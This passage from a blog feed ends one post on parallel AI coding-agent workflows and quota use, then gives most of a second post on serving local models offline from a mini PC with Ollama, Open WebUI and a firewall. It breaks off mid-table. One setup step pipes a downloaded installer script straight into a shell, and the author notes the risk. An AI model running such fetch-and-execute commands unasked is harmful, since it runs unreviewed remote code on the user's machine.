&lt;td&gt;none&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T2&lt;/td&gt;
&lt;td&gt;RBAC middleware: deny by default, check role and resource owner&lt;/td&gt;
&lt;td&gt;T1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T3&lt;/td&gt;
&lt;td&gt;Audit log of security events (login, failed login, role change)&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T4&lt;/td&gt;
&lt;td&gt;Rate limiting on login with progressive lockout&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T5&lt;/td&gt;
&lt;td&gt;Admin screen listing users and their roles&lt;/td&gt;
&lt;td&gt;T2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T6&lt;/td&gt;
&lt;td&gt;Tests that try IDOR and privilege escalation against T2&lt;/td&gt;
&lt;td&gt;T2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The workflows.&lt;/strong&gt; Single agent, tmux sessions (one task per session, same checkout, to expose conflicts), subagents, an Agent Team, tmux with worktrees, and worktrees split across Claude Code and Codex. If you use Orca, run the last one from it as a seventh. Change one thing at a time: same models, same task files, same tests, and at least two runs per workflow, because one run of an agent is an anecdote.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The metrics.&lt;/strong&gt; Wall-clock time to the last merged task, active human time (time you spend typing, reviewing or deciding), input, output and cache tokens, quota consumed, sessions interrupted by a limit, acceptance test pass rate, security issues found in review, merge conflicts, rework rounds, and &lt;strong&gt;verified tasks per hour&lt;/strong&gt;: tasks that passed the acceptance tests and your review, divided by wall-clock hours.&lt;/p&gt;

&lt;p&gt;Both tools expose token data. Claude Code exports &lt;code&gt;claude_code.token.usage&lt;/code&gt; through &lt;a href="https://code.claude.com/docs/en/monitoring-usage" rel="noopener noreferrer"&gt;OpenTelemetry&lt;/a&gt; when &lt;code&gt;CLAUDE_CODE_ENABLE_TELEMETRY=1&lt;/code&gt; is set and an exporter is configured (for example &lt;code&gt;OTEL_METRICS_EXPORTER=console&lt;/code&gt;), with input, output and cache tokens as separate types, and &lt;code&gt;codex exec --json&lt;/code&gt; emits a &lt;code&gt;turn.completed&lt;/code&gt; event with &lt;code&gt;input_tokens&lt;/code&gt;, &lt;code&gt;cached_input_tokens&lt;/code&gt; and &lt;code&gt;output_tokens&lt;/code&gt; (&lt;a href="https://learn.chatgpt.com/docs/non-interactive-mode" rel="noopener noreferrer"&gt;docs&lt;/a&gt;). Quota is harder: neither plan shows a raw number, so record the percentage from &lt;code&gt;/usage&lt;/code&gt; or &lt;code&gt;/status&lt;/code&gt; before and after each run.&lt;/p&gt;

&lt;p&gt;Put one row per workflow and one column per metric in a spreadsheet, and read verified tasks per hour first. A workflow that finishes faster but needs more rework or more of your review time hasn't won anything.&lt;/p&gt;

&lt;p&gt;What I'd expect, as a hypothesis and not a result: worktrees across two providers will win on verified tasks per hour for T1, T3 and T4, and a single agent will win on T2, T5 and T6, because those three share one design decision (how a role is checked) that is cheaper to make once than to explain to three agents.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to get more from your AI subscription
&lt;/h2&gt;

&lt;p&gt;These are the habits I'd apply before upgrading any plan. Each one comes from the vendors' own guidance or follows from how usage is counted.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Clear between tasks.&lt;/strong&gt; &lt;code&gt;/clear&lt;/code&gt; when switching to unrelated work, &lt;code&gt;/compact&lt;/code&gt; with a focus when continuing a long task. Every turn resends the history, so stale history is the most expensive thing in your session.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pick the model per task.&lt;/strong&gt; Sonnet for most Claude Code work, Opus only when it's stuck or for wide changes (&lt;code&gt;/model opusplan&lt;/code&gt; plans with Opus and executes with Sonnet). On Codex, a lighter model for routine edits buys you a much larger allowance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep the always-loaded files small.&lt;/strong&gt; Anthropic suggests keeping &lt;code&gt;CLAUDE.md&lt;/code&gt; &lt;a href="https://code.claude.com/docs/en/costs" rel="noopener noreferrer"&gt;under 200 lines&lt;/a&gt;; OpenAI suggests reducing the size of &lt;code&gt;AGENTS.md&lt;/code&gt;. Both get read on every session.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Turn off what you don't use.&lt;/strong&gt; Every MCP server adds to the context: in Claude Code its tool names and instructions (full definitions load only when a tool is used), in Codex context on every message. Both vendors say to disable the servers you don't need, and Anthropic suggests CLI tools like &lt;code&gt;gh&lt;/code&gt; when they exist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delegate verbose work, not judgement.&lt;/strong&gt; Send searches, test runs and log reading to a subagent with a cheap model, and keep design decisions in the main session.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Split by provider, not only by pane.&lt;/strong&gt; Put independent projects or tasks on the plan that has quota left.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write the task down.&lt;/strong&gt; A task file with acceptance criteria and the test command saves the back-and-forth that burns tokens, and it lets you hand the same task to a different agent after a reset.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Watch the meter before you start, not when it stops you.&lt;/strong&gt; Check &lt;code&gt;/usage&lt;/code&gt; or &lt;code&gt;/status&lt;/code&gt; before launching parallel work. If the window is 80% spent, start one task, not four.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Turn on paid overflow deliberately.&lt;/strong&gt; Usage credits are opt-in and billed at API rates. Set a monthly cap if you enable them, so a forgotten agent can't run up a bill.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check that &lt;code&gt;ANTHROPIC_API_KEY&lt;/code&gt; is unset&lt;/strong&gt; in shells where you mean to use your subscription.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  A decision framework
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Workload&lt;/th&gt;
&lt;th&gt;Best fit&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;One feature, steps depend on each other&lt;/td&gt;
&lt;td&gt;Single agent, &lt;code&gt;/clear&lt;/code&gt; between features&lt;/td&gt;
&lt;td&gt;Shared decisions stay in one context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unrelated projects&lt;/td&gt;
&lt;td&gt;tmux sessions, mixed providers&lt;/td&gt;
&lt;td&gt;Clean parallelism, two quotas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Independent tasks in one repository&lt;/td&gt;
&lt;td&gt;Worktrees, one agent each&lt;/td&gt;
&lt;td&gt;File isolation, simple merges&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Search, test runs, log analysis, review&lt;/td&gt;
&lt;td&gt;Subagents with a cheaper model&lt;/td&gt;
&lt;td&gt;Keeps the main context small&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Debugging with competing hypotheses, broad research&lt;/td&gt;
&lt;td&gt;Agent Team, few teammates&lt;/td&gt;
&lt;td&gt;Teammates challenge each other; worth the tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same files, shared schema, tight dependencies&lt;/td&gt;
&lt;td&gt;Single agent&lt;/td&gt;
&lt;td&gt;Parallel agents create semantic conflicts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Three or more agents, or you lose track of which is blocked&lt;/td&gt;
&lt;td&gt;Orca or a similar tool&lt;/td&gt;
&lt;td&gt;Pays back in attention, not quota&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Window almost spent&lt;/td&gt;
&lt;td&gt;One small task, or switch provider&lt;/td&gt;
&lt;td&gt;Interrupted work stalls, and resuming re-reads the whole context&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Final verdict
&lt;/h2&gt;

&lt;p&gt;So, are parallel AI agents making developers more productive, or just reaching the limit faster?&lt;/p&gt;

&lt;p&gt;Both, depending on the work. Parallel agents are worth it when tasks are truly independent, when each one has written acceptance criteria and tests, when the work is spread across two providers' quotas, and when your review capacity keeps up with what they produce. A single agent is the better choice when the tasks share decisions, touch the same files or depend on each other, which, according to Anthropic's own engineering team, describes more coding work than research work.&lt;/p&gt;

&lt;p&gt;What doesn't hold up is the idea that more agents means more software. Every architecture in this post spends from a limited pool, and every one of them ends at the same place: a person reading a diff and deciding whether it's right.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The best AI coding workflow is not the one running the most agents. It's the one producing the most verified engineering value within its constraints.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Your quota is shared.&lt;/strong&gt; Every Claude Code pane, subagent and chat draws from one Pro pool; Codex local and cloud work share one Plus pool.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Subagents save context, not tokens.&lt;/strong&gt; Use them for verbose, read-heavy work, with a cheaper model.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agent Teams cost about 7x in plan mode.&lt;/strong&gt; Use them for work that benefits from discussion, not for routine edits.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Worktrees isolate files, not processes.&lt;/strong&gt; Separate databases, ports and credentials need their own isolation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two $20 plans are two pools.&lt;/strong&gt; Splitting work by provider is the cleanest way to get more allowance without upgrading.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Count verified tasks per hour,&lt;/strong&gt; not agents running or lines generated.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How many agents can you run before your review becomes the bottleneck, and what did you change when you hit that point? Tell me in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where the habits from this post become a carousel you can save for your next planning session. This article also has a video walkthrough on my YouTube channel, &lt;a href="https://youtube.com/@diogosoaresdev" rel="noopener noreferrer"&gt;Diogo Soares Dev&lt;/a&gt;, so subscribe there for the next ones. Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>productivity</category>
      <category>programming</category>
      <category>git</category>
    </item>
    <item>
      <title>I Ran AI Offline for 7 Days. Was It Worth It?</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Fri, 30 Oct 2026 10:10:14 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/i-ran-ai-offline-for-7-days-was-it-worth-it-21g2</link>
      <guid>https://dev.to/soaresdiogo/i-ran-ai-offline-for-7-days-was-it-worth-it-21g2</guid>
      <description>&lt;p&gt;I typed "Olá" into my own offline chat and waited. Twenty-four seconds later, the model said hello back.&lt;/p&gt;

&lt;p&gt;The model wasn't broken and the hardware wasn't dead. The slowness came from two settings I didn't know were on, and finding them taught me more about running AI offline than any benchmark chart.&lt;/p&gt;

&lt;p&gt;Here's the setup. I bought a small mini PC, the NiPoGi P1, for €200, to run a few experiments at home. One of them: run two open models, &lt;strong&gt;Gemma 4 E4B&lt;/strong&gt; for general questions and &lt;strong&gt;Qwen2.5-Coder 7B&lt;/strong&gt; for code, on that box with &lt;strong&gt;no internet access at all&lt;/strong&gt;, and use them from my Mac over the home network for a week.&lt;/p&gt;

&lt;p&gt;This post covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The hardware, and whether its "AMD Radeon" sticker means a real GPU.&lt;/li&gt;
&lt;li&gt;How to build the same setup, step by step: Ollama, the models, network access and a firewall that keeps the box off the internet.&lt;/li&gt;
&lt;li&gt;The real numbers, in tokens per second, on CPU and on the integrated GPU.&lt;/li&gt;
&lt;li&gt;Three things that made it slow that had nothing to do with the model.&lt;/li&gt;
&lt;li&gt;What I used it for, whether more RAM would help, and my verdict.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The hardware: a 15 W laptop chip in a box
&lt;/h2&gt;

&lt;p&gt;The NiPoGi P1 is a mini PC that fits in one hand. Mine has this configuration:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CPU&lt;/td&gt;
&lt;td&gt;AMD Ryzen 3 3300U: 4 cores, 4 threads, Zen+, 15 W (&lt;a href="https://www.notebookcheck.net/AMD-Ryzen-3-3300U-Processor.391086.0.html" rel="noopener noreferrer"&gt;specs&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPU&lt;/td&gt;
&lt;td&gt;Radeon Vega 6, &lt;strong&gt;integrated&lt;/strong&gt; in the processor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RAM&lt;/td&gt;
&lt;td&gt;16 GB DDR4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storage&lt;/td&gt;
&lt;td&gt;512 GB SSD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Price&lt;/td&gt;
&lt;td&gt;€200, what I paid&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Does it have a GPU? Yes, but not the kind people mean when they talk about running AI. The Vega 6 lives inside the processor and has no memory of its own: it borrows from the same 16 GB of system RAM. When I checked from inside the container, Vulkan reported it as &lt;code&gt;AMD Radeon Graphics (RADV RAVEN)&lt;/code&gt;, so it is usable. Keep the "shares the RAM" part in mind, because it explains most of the numbers later.&lt;/p&gt;

&lt;p&gt;The 3300U is a 2019 laptop processor. I didn't buy this box to win benchmarks. I bought it to find out where the floor is: how much useful AI you get from cheap, quiet, low-power hardware.&lt;/p&gt;




&lt;h2&gt;
  
  
  Build the same setup, step by step
&lt;/h2&gt;

&lt;p&gt;Any Linux machine on your home network works: an old laptop, a mini PC, a virtual machine. Mine runs &lt;a href="https://www.proxmox.com/en/proxmox-virtual-environment/overview" rel="noopener noreferrer"&gt;Proxmox VE&lt;/a&gt;, so everything below runs inside a Debian 13 container with 4 cores and 10 GB of RAM, and the integrated GPU passed into it. Setting up Proxmox itself deserves its own article, so here I'll stick to what works on any Debian or Ubuntu box. Run the commands as root or with &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Install Ollama (the box still needs internet here)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://ollama.com" rel="noopener noreferrer"&gt;Ollama&lt;/a&gt; downloads, runs and serves the models. The official installer sets it up as a systemd service with its own &lt;code&gt;ollama&lt;/code&gt; user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://ollama.com/install.sh | sh
ollama &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If piping a script into a shell makes you uneasy, read it first, or follow the manual install in the &lt;a href="https://docs.ollama.com/linux" rel="noopener noreferrer"&gt;Ollama Linux docs&lt;/a&gt;. On my AMD box the installer warned that it couldn't detect an NVIDIA or AMD GPU. That warning is about CUDA and ROCm drivers, which this integrated GPU doesn't use anyway.&lt;/p&gt;

&lt;p&gt;For the integrated GPU, install the Vulkan drivers and check that the GPU shows up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; mesa-vulkan-drivers vulkan-tools
vulkaninfo &lt;span class="nt"&gt;--summary&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;deviceName
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mine reported &lt;code&gt;AMD Radeon Graphics (RADV RAVEN)&lt;/code&gt;. This step is optional: everything works on the CPU alone.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Download the models
&lt;/h3&gt;

&lt;p&gt;Two downloads, done while the box still had internet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ollama pull gemma4:e4b        &lt;span class="c"&gt;# 6.6 GB on disk&lt;/span&gt;
ollama pull qwen2.5-coder:7b  &lt;span class="c"&gt;# 4.7 GB on disk&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Gemma 4 E4B is Google's small multimodal model: "E4B" means about 4.5 billion &lt;em&gt;effective&lt;/em&gt; parameters, around 8 billion counting embeddings (&lt;a href="https://ollama.com/library/gemma4" rel="noopener noreferrer"&gt;Ollama library&lt;/a&gt;). It reads images too, which matters later. Qwen2.5-Coder 7B is a code model from Alibaba's Qwen team.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Open Ollama to the home network
&lt;/h3&gt;

&lt;p&gt;By default Ollama only listens on &lt;code&gt;localhost&lt;/code&gt;. A systemd override changes that, plus a few settings that matter on small hardware:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# /etc/systemd/system/ollama.service.d/override.conf
&lt;/span&gt;&lt;span class="nn"&gt;[Service]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="py"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;OLLAMA_HOST=0.0.0.0:11434&lt;/span&gt;
&lt;span class="py"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;OLLAMA_MAX_LOADED_MODELS=1&lt;/span&gt;
&lt;span class="py"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;OLLAMA_NUM_PARALLEL=1&lt;/span&gt;
&lt;span class="py"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;OLLAMA_KEEP_ALIVE=15m&lt;/span&gt;
&lt;span class="py"&gt;Environment&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;OLLAMA_IGPU_ENABLE=1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;systemctl daemon-reload
systemctl restart ollama
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each line has a reason:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;OLLAMA_HOST=0.0.0.0:11434&lt;/code&gt; makes Ollama listen on the network, so the Mac can reach it.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OLLAMA_MAX_LOADED_MODELS=1&lt;/code&gt;: both models together don't fit in 10 GB, so only one stays in memory.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OLLAMA_NUM_PARALLEL=1&lt;/code&gt;: four slow cores serve one request at a time; parallel requests just queue.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OLLAMA_KEEP_ALIVE=15m&lt;/code&gt; unloads a model after 15 idle minutes.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OLLAMA_IGPU_ENABLE=1&lt;/code&gt; lets Ollama use the integrated GPU through Vulkan. Without it, my Ollama version ignored the iGPU. Leave it out if you skipped the Vulkan step. The Vulkan backend itself has its own switch, &lt;code&gt;OLLAMA_VULKAN&lt;/code&gt;; on my version (0.35.0) the server log already showed it on (&lt;code&gt;OLLAMA_VULKAN:true&lt;/code&gt;), but on older versions you may need &lt;code&gt;OLLAMA_VULKAN=1&lt;/code&gt; as well.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 4: Test it from another machine
&lt;/h3&gt;

&lt;p&gt;From the Mac (or any computer on the same network), ask the API which models it has. Replace the IP with your box's:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://192.168.1.214:11434/api/tags
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the JSON lists &lt;code&gt;gemma4:e4b&lt;/code&gt; and &lt;code&gt;qwen2.5-coder:7b&lt;/code&gt;, the network part works. The section "How I used it from the Mac" below turns this into a chat.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 (optional): A chat interface in the browser
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://docs.openwebui.com/getting-started/quick-start/" rel="noopener noreferrer"&gt;Open WebUI&lt;/a&gt; gives you a ChatGPT-style page with history and image upload. I ran it in Docker on the same box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--name&lt;/span&gt; open-webui &lt;span class="nt"&gt;--restart&lt;/span&gt; unless-stopped &lt;span class="nt"&gt;--network&lt;/span&gt; host &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;OLLAMA_BASE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://127.0.0.1:11434 &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; open-webui:/app/backend/data ghcr.io/open-webui/open-webui:main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It opens on port 3000. &lt;code&gt;:main&lt;/code&gt; follows the latest build; pin a &lt;a href="https://github.com/open-webui/open-webui/releases" rel="noopener noreferrer"&gt;release tag&lt;/a&gt; if you want the same version next month. Read the "Three things that made it slow" section before using it on slow hardware: two of its defaults cost me almost a minute per message.&lt;/p&gt;




&lt;h2&gt;
  
  
  What "offline" means in this setup
&lt;/h2&gt;

&lt;p&gt;"Offline" here doesn't mean the cable is unplugged. The mini PC is on my home network, but &lt;strong&gt;it can't reach the internet&lt;/strong&gt;. The models live on that box, and my Mac talks to them over the local network:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  Internet
     ✕   blocked by the firewall (nothing goes out)
     │
  Home router ── 192.168.1.0/24 (home network)
     │                     │
   Mac  ─── HTTP :11434 ──▶ Mini PC
  (terminal,  HTTP :3000 ──▶   Ollama + Gemma + Qwen
   browser)                    Open WebUI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Mac still has internet. What matters is where my prompts go: from the Mac, across the home network, to the mini PC, and nowhere else. The mini PC has no route out, so even a misbehaving tool inside it has nothing to send data to.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6: Close the door
&lt;/h3&gt;

&lt;p&gt;The internet was needed only for steps 1, 2 and 5. After that, a firewall that drops all outgoing traffic turns the box into an offline AI server. I did it with the Proxmox firewall on the container. On a plain Debian or Ubuntu box, &lt;code&gt;ufw&lt;/code&gt; does the same:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ufw default deny incoming
ufw default deny outgoing
ufw allow from 192.168.1.0/24 to any port 22 proto tcp      &lt;span class="c"&gt;# SSH&lt;/span&gt;
ufw allow from 192.168.1.0/24 to any port 11434 proto tcp   &lt;span class="c"&gt;# Ollama API&lt;/span&gt;
ufw allow from 192.168.1.0/24 to any port 3000 proto tcp    &lt;span class="c"&gt;# Open WebUI&lt;/span&gt;
ufw allow out 67/udp                                        &lt;span class="c"&gt;# DHCP renewals&lt;/span&gt;
ufw &lt;span class="nb"&gt;enable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What matters in it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Outgoing traffic is denied by default&lt;/strong&gt;, so the box can't open a connection to anything. Replies to the requests it accepts still go back, because the firewall tracks connections.&lt;/li&gt;
&lt;li&gt;Inbound, only three ports, and only from the home network. Keep the SSH rule if the box has no screen, or you lock yourself out.&lt;/li&gt;
&lt;li&gt;The DHCP rule lets the box ask to renew its IP lease; ufw's built-in rules already accept the router's reply. A DHCP reservation in your router keeps the address stable for the Mac. If you give the box a static IP instead, drop the rule. Networks with IPv6 or other extras may need more rules, so run the check below.&lt;/li&gt;
&lt;li&gt;Docker writes its own firewall rules for ports published with &lt;code&gt;-p&lt;/code&gt;, and traffic to those ports skips &lt;code&gt;ufw&lt;/code&gt;'s input rules. With &lt;code&gt;--network host&lt;/code&gt;, as above, nothing is published: Open WebUI listens on the host itself, so the port 3000 rule applies. If you run other containers with &lt;code&gt;-p&lt;/code&gt;, check them separately.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To check it, run something that needs the internet on the box and watch it fail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--max-time&lt;/span&gt; 5 https://ollama.com &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"no internet, as expected"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Updates and new models now mean opening the door on purpose (&lt;code&gt;ufw disable&lt;/code&gt;, update, &lt;code&gt;ufw enable&lt;/code&gt;). That's the point.&lt;/p&gt;

&lt;p&gt;One honest limit: Ollama's API has no authentication. Anyone on my home network, including guests on the Wi-Fi, could use the models. The firewall keeps the internet out; it doesn't pick who inside the house gets in.&lt;/p&gt;




&lt;h2&gt;
  
  
  The numbers: tokens per second
&lt;/h2&gt;

&lt;p&gt;I measured both models with the same coding prompt, generating 150 tokens, first on CPU only and then with Vulkan on the integrated GPU. This is one week of real use with a few measurements, not a controlled lab benchmark, so here is exactly how I measured:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ollama&lt;/td&gt;
&lt;td&gt;0.35.0, &lt;code&gt;ollama run &amp;lt;model&amp;gt; --verbose&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Models&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;gemma4:e4b&lt;/code&gt; and &lt;code&gt;qwen2.5-coder:7b&lt;/code&gt;, default 4-bit tags&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Context&lt;/td&gt;
&lt;td&gt;Ollama's default (&lt;code&gt;OLLAMA_CONTEXT_LENGTH&lt;/code&gt; not set)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Container&lt;/td&gt;
&lt;td&gt;4 cores, 10 GB RAM, iGPU passed in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;When&lt;/td&gt;
&lt;td&gt;The setup day, 2 October; not re-measured at the end of the week&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two numbers matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Generation&lt;/strong&gt;: how fast the answer appears. This is the speed you feel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt reading&lt;/strong&gt;: how fast the model reads what you send. It matters when you paste a long file or log.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Generation, CPU&lt;/th&gt;
&lt;th&gt;Generation, Vulkan&lt;/th&gt;
